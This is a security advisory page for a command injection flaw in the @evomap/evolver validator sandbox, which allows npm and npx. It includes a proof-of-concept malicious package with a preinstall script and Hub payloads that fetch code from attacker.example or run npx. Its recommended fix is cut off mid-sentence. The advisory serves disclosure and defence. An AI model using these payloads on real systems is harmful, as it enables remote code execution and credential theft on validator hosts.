# GHSA-jxh8-jh77-xh6g: The validator-mode sandbox executor (`src/gep/validator/sandboxExecutor.js`) places `npm` and `npx` in its hard executable allowlist.

> Attackers can achieve remote code execution on validator nodes by injecting malicious npm commands via unsigned Hub responses due to an overly permissive executable allowlist.

- **Severity:** Not scored
- **Exploited in the wild:** Not known
- **Login needed:** Not needed
- **Attackable:** Over the internet
- **Victim action needed:** Not needed
- **Fix available:** Yes
- **Published:** 5 May 2026

## What is GHSA-jxh8-jh77-xh6g?

GHSA-jxh8-jh77-xh6g is a command injection vulnerability in @evomap/evolver, published on 5 May 2026. An attacker can exploit it over the internet without logging in, with no action from the victim.

### Official description

## Summary

The validator-mode sandbox executor (`src/gep/validator/sandboxExecutor.js`) places `npm` and `npx` in its hard executable allowlist. Because `npm install <pkg>` and `npx -y -p <pkg> <bin>` execute arbitrary code by design (preinstall/install/postinstall lifecycle scripts and remote-package bin entries), and because validator nodes consume `validation_commands` strings from unsigned Hub responses with no per-response signature check, an attacker who controls or MITMs the Hub achieves automatic remote code execution on every validator node within one daemon poll (default 60s).

## Details

End-to-end chain:

1. `src/gep/validator/index.js:71-87` — `fetchValidationTasks()` POSTs to `<hub>/a2a/fetch` and reads `validation_tasks` from the JSON response. The outbound request is signed via `buildHubHeaders()`, but the Hub's response is parsed directly with `await res.json()` and no signature is verified on `data.payload`.

2. `src/gep/validator/index.js:98-108` — `validateOneTask()` extracts `task.validation_commands` (an array of attacker-controlled strings) and passes it straight to `runInSandbox(commands, {})`. No call to `policyCheck.isValidationCommandAllowed()` happens on this path. The author's own comment at `sandboxExecutor.js:41-42` acknowledges this gap: *"This closes the gap where validation_commands go straight from Hub to runInSandbox without passing through policyCheck.isValidationCommandAllowed()."*

3. `src/gep/validator/sandboxExecutor.js:172-218` — `runSingleCommand` calls `parseCommand(cmd)`, then checks `ALLOWED_EXECUTABLES.has(parsed.executable)`:

   ```js
   // sandboxExecutor.js:35
   const ALLOWED_EXECUTABLES = new Set(['node', 'npm', 'npx']);
   ```

   `parseCommand` only rejects shell metacharacters (`| & ; > < \` $`) and unbalanced quotes. A string like `npm install /tmp/evil-pkg --no-audit --no-fund` contains none of those and parses cleanly into `{ executable: 'npm', args: [...] }`.

4. `sandboxExecutor.js:54-66` — `assertNodeCommandSafe` is a no-op for non-`node` executables:

   ```js
   function assertNodeCommandSafe(parsed) {
     if (parsed.executable !== 'node') return;   // npm/npx skip every check
     ...
   }
   ```

   The `BLOCKED_NODE_FLAGS` set (`-e`, `-r`, `--loader`, etc.) therefore never gates `npm` or `npx` invocations.

5. `sandboxExecutor.js:213` — `spawn('npm', [...], { shell: false, cwd: sandboxDir, env })` runs `npm`. npm's documented behavior is to execute the package's `preinstall`, `install`, and `postinstall` scripts; `npx` downloads a remote package and executes its `bin` entry. Both yield arbitrary code execution in the validator process's UID/permissions.

6. `src/gep/validator/index.js:189` — the validator daemon polls every 60s by default (`EVOLVER_VALIDATOR_DAEMON_INTERVAL_MS`), and validator mode is **on by default** since v1.69.0 (`isValidatorEnabled()` returns `true` unless explicitly disabled, `index.js:25-34`).

The "sandbox" is nominal: it sets a fresh `cwd` and a stripped env (HOME → tmpdir to hide `~/.npmrc`/`~/.ssh`), but `PATH` is preserved (so `npm`/`npx` resolve), there is no container/chroot/seccomp/uid drop, and nothing prevents the spawned process from writing arbitrary files, opening outbound connections, or reading any file readable by the validator process.

The author's documented threat model at `sandboxExecutor.js:31-34` explicitly includes Hub compromise:

> "Any command whose first token is not in this set is rejected before spawn(). This prevents command injection via Hub-delivered task.command strings even if Hub itself is compromised or mis-signs a task."

Putting `npm` and `npx` on that allowlist defeats that stated goal — both are arbitrary-code-execution-by-design tools.

## PoC

Reproduced against v1.70.0-beta.4 (HEAD on `main`):

Step 1 — plant a malicious package locally (the remote-tarball variant works identically; npm fetches and runs lifecycle scripts in both cases):

```bash
mkdir -p /tmp/evil-pkg-validator
cat > /tmp/evil-pkg-validator/package.json <<'EOF'
{
  "name":"evil-pkg-validator","version":"1.0.0",
  "scripts":{
    "preinstall":"node -e \"require('fs').writeFileSync('/tmp/pwned-by-validator-test','RCE uid='+process.getuid()+' time='+Date.now())\""
  }
}
EOF
```

Step 2 — invoke the exact code path used by `validateOneTask()` when the Hub returns a task with `validation_commands: ["npm install /tmp/evil-pkg-validator --no-audit --no-fund"]`:

```bash
rm -f /tmp/pwned-by-validator-test
node -e "
const s = require('./src/gep/validator/sandboxExecutor');
s.runInSandbox(
  ['npm install /tmp/evil-pkg-validator --no-audit --no-fund'],
  { cmdTimeoutMs: 60000 }
).then(o => {
  console.log('overallOk:', o.overallOk, 'exitCode:', o.results[0].exitCode);
  console.log('PWNED:', require('fs').readFileSync('/tmp/pwned-by-validator-test','utf8'));
});"
```

Observed output (verified):

```
overallOk: true exitCode: 0
PWNED: RCE uid=0 time=1777213140205
```

The sandbox reports `overallOk: true` (it sees a clean exit-0 from `npm`), while the preinstall script has already written `/tmp/pwned-by-validator-test` outside the sandbox directory — uncontained code execution as the validator UID.

Remote-only variant (no local file required): a compromised or MITM'd Hub returns:

```json
{ "validation_commands": ["npm install https://attacker.example/evil.tgz --no-audit --no-fund"] }
```

or

```json
{ "validation_commands": ["npx -y -p evil-pkg@1.0.0 evil-cmd"] }
```

Both pass `parseCommand()` (no shell metacharacters), pass `ALLOWED_EXECUTABLES.has('npm'|'npx')`, and `assertNodeCommandSafe` is a no-op for them. npm/npx fetch the remote tarball and execute its lifecycle/bin scripts on the validator host.

## Impact

- **Arbitrary code execution** as the evolver/validator process UID on every validator node that polls the malicious Hub (one cycle ≈ 60s by default).
- **Credential exfiltration**: HUB_NODE_SECRET, A2A node identity, any cloud/cred material readable by the process.
- **Persistence / lateral movement**: write to user-writable cron, systemd-user units, shell rc files; pivot into the host's container / VM.
- **Wormable across the network**: a single Hub compromise auto-RCEs every node running validator mode — and validator mode is opt-out / on by default since v1.69.0.
- **Defeats the documented sandbox guarantee**: the executor advertises defense against a compromised Hub; in practice, two of its three allowed binaries are arbitrary-code-execution tools.

## Recommended Fix

Remove `npm` and `npx` from `ALLOWED_EXECUTABLES`. Validation tasks need only `node <script>`:

```js
// src/gep/validator/sandboxExecutor.js
const ALLOWED_EXECUTABLES = new Set(['node']);
```

If `npm test` / `npx vitest` style commands must remain reachable from the Hub path, harden them explicitly:

```js
function assertNpmCommandSafe(parsed) {
  if (parsed.executable !== 'npm' && parsed.executable !== 'npx') return;
  // Block install/exec/run-script that fetch or execute lifecycle scripts.
  const sub = parsed.args.find((a) => !a.startsWith('-'));
  const FORBIDDEN = new Set(['install', 'i', 'add', 'ci', 'exec', 'x', 'run', 'run-script', 'rebuild', 'pack', 'publish']);
  if (FORBIDDEN.has(sub)) {
    throw new Error('npm/npx subcommand not allowed in sandbox: ' + sub);
  }
  // Require --ignore-scripts on every npm invocation as defense-in-depth.
  if (parsed.executable === 'npm' && !parsed.args.includes('--ignore-scripts')) {
    throw new Error('npm in sandbox requires --ignore-scripts');
  }
  // npx always fetches+executes — disallow entirely.
  if (parsed.executable === 'npx') {
    throw new Error('npx is not allowed in sandbox');
  }
}
```

Additionally:

1. **Sign the Hub's `/a2a/fetch` *response*** the same way outbound requests are signed (`buildHubHeaders`). Verify the signature on `data.payload` in `fetchValidationTasks` before handing tasks to `runInSandbox`. This closes the network-MITM variant that does not require Hub compromise.
2. **Run `runInSandb

## Which versions are affected by GHSA-jxh8-jh77-xh6g?

2 open source packages ship an affected version, including @evomap/evolver.


| Package | Ecosystem | Affected | Fixed in |
| --- | --- | --- | --- |
| `@evomap/evolver` | npm | All versions | 1.70.0-beta.5 |
| `@evomap/evolver` | npm | All versions | 1.70.0-beta.5 |

## How do I fix GHSA-jxh8-jh77-xh6g?

Upgrade @evomap/evolver to 1.70.0-beta.5 or later.

## Is GHSA-jxh8-jh77-xh6g being exploited?

There is no known exploitation of GHSA-jxh8-jh77-xh6g in the wild and no public exploit code.

## Fix prompt for AI coding agents

```text
Check this codebase for GHSA-jxh8-jh77-xh6g and fix it if it is affected.

What it is: GHSA-jxh8-jh77-xh6g is a command injection vulnerability in @evomap/evolver, published on 5 May 2026. An attacker can exploit it over the internet without logging in, with no action from the victim.
Exploitation: There is no known exploitation of GHSA-jxh8-jh77-xh6g in the wild and no public exploit code.

Affected packages and fixed versions:
- @evomap/evolver (npm): affected all versions; fixed in 1.70.0-beta.5
- @evomap/evolver (npm): affected all versions; fixed in 1.70.0-beta.5

Task:
1. Search the dependency manifests and lockfiles (for example package.json, package-lock.json, requirements.txt, poetry.lock, uv.lock, pom.xml, build.gradle, go.mod, Cargo.lock, Gemfile.lock) and any Dockerfiles for the affected packages, including transitive dependencies.
2. If an affected version is in use, upgrade it to the fixed version for its release line with the project's package manager, so the lockfile is regenerated. Prefer the smallest upgrade that fixes it.
3. If there is no fix, or the upgrade would break the build, do not guess: explain the risk and the safest workaround instead.
4. Run the tests and summarise what changed and why.
5. If nothing in the project is affected, say so and change nothing.

Reference: https://insights.sbomify.com/GHSA-jxh8-jh77-xh6g/ (Markdown: https://insights.sbomify.com/GHSA-jxh8-jh77-xh6g/index.md)
```

## Sources

- OSV: https://osv.dev/vulnerability/GHSA-jxh8-jh77-xh6g

---
From sbomify Insights: https://insights.sbomify.com/GHSA-jxh8-jh77-xh6g/
Summaries are generated and may contain mistakes; the official description above is the record.